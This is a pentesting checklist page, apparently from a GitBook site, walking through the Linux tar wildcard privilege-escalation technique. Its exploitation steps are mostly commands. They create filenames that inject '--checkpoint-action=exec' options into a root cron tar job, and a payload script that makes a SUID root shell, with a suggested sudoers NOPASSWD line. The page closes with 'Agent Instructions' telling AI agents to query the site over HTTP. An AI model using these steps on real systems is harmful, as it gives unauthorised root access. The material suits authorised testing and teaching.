# Tar Wildcard

### Overview

The **tar wildcard privilege escalation** is a technique that abuses how the Linux `tar` command interprets filenames when wildcards (`*`) are used. If a privileged user (e.g., root via cron) executes a `tar` command on a directory we control using a wildcard, we can inject **malicious command-line options** as filenames. This allows us to execute arbitrary commands with elevated privileges.

### Why This Works

* `tar` supports options like:
  * `--checkpoint`
  * `--checkpoint-action=exec=<command>`
* When wildcards are used:

  ```
  tar -cf backup.tar *
  ```

  Any file starting with `--` is treated as a **flag**
* If we control the directory contents:\
  We can inject **malicious tar options**

### Exploitation Steps

#### Step 1: Identify vulnerable cron job

Check cron jobs:

```
cat /etc/crontab
```

Example vulnerable entry:

```
* * * * * root tar -cf /tmp/backup.tar /home/user/*
```

***

#### Step 2: Navigate to writable directory

```
cd /home/user
```

***

#### Step 3: Create malicious files

Create checkpoint trigger:

```
echo "" > --checkpoint=1
```

Create command execution payload:

```
echo "" > '--checkpoint-action=exec=sh exploit.sh'
```

#### Step 4: Create payload script

```bash
echo '#!/bin/bash' > exploit.sh
# Make bash SUID
echo 'cp /bin/bash /tmp/rootbash' >> exploit.sh
echo 'chmod +s /tmp/rootbash' >> exploit.sh
chmod +x exploit.sh

# Give user sudoers all permissions
# Put "echo 'kali ALL=(root) NOPASSWD: ALL' > /etc/sudoers" inside exploit.sh
```

#### Step 5: Run the tar command in high privileges / Wait for cron execution


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/linux/linux-privilege-escalation/sudo-permissions/tar-wildcard.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.